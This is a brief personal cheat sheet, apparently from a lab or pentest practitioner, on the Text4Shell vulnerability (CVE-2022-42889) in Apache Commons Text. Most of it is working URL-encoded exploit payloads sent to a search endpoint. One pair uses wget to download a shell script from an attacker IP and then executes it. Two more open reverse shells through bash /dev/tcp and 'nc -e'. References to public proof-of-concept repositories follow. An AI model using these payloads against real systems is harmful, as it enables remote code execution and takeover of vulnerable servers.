Summery
Text4Shell is the popular name of a critical software vulnerability discovered in the Apache Commons Text library - CVE-2022-42889.
Payloads
Here are some payloads that I used, some which worked for me in their original use cases, and others which I build as a perhaps an inspiration.
Tested
I once used this exploit. I created a simple “shell” file which contained the Basic Bash reverse shell. I then use the first command to place it on the webserver, and the later worked to execute it.
http://192.168.126.150:8080/search?query=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27wget%20192.168.45.169%2Fshell%20-O%20%2Ftmp%2Fshell%27%29%7D - Places the shell payload.
http://192.168.126.150:8080/search?query=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27bash%20%2Ftmp%2Fshell%27)%7D - Executes the payload
Conceptual
http://192.168.126.150:8080/search?query=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.169%2F1337%200%3E%261%3B%27%29%7D
http://192.168.126.150:8080/search?query=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%27nc%20192.168.45.169%20443%20-e%20%2Fbin%2Fbash%27%29%7D
References
https://github.com/sunnyvale-it/CVE-2022-42889-PoC
https://github.com/SeanWrightSec/CVE-2022-42889-PoC
https://www.cve.org/CVERecord?id=CVE-2022-42889